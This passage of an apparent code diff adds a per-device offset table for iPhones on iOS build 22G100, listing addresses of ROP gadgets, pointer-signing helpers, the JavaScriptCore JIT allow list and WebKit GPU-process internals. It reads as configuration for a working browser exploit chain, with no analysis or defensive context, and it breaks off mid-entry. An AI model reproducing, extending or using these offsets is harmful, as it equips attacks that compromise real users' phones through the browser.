+ m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,3_22G100": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,4_22G100": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone15,5_22G100": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa3d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fa330n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa380n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9778n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708608n, + free_slabs : 0x1ed7c1d90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dafb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dabb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac78n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6e7218n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6480n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25798be60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271f38000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b228n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887ff8n, + WebCore__initPKContact_value : 0x1ed888000n, + WebCore__PAL_getPKContactClass : 0x1ed87f4b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8867d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8867c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8867b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c400n, + }, + "iPhone16,1_22G100": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7ded68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7ded70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7decb0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7ded78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x218885820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb1b8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc65870n, + libsystem_c__atexit_mutex : 0x1ed6eb318n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d044000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea580n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x25813fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d04a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272e4c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f328n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__HTMLDocument_vtable : 0x1f10e1bf8n, + WebCore__initPKContact_once : 0x1ed88c0f8n, + WebCore__initPKContact_value : 0x1ed88c100n, + WebCore__PAL_getPKContactClass : 0x1ed8835b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a8d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a8c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a8b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880500n, + }, + "iPhone16,2_22G100": { + __pthread_head : 0x26a734020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe9e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe4d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe430n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe480n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd878n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c708n, + free_slabs : 0x1ed7c5e90n, + gadget_control_1_ios184 : 0x23ed792ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f03a150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cff5ce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7df0b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7ded60n, + 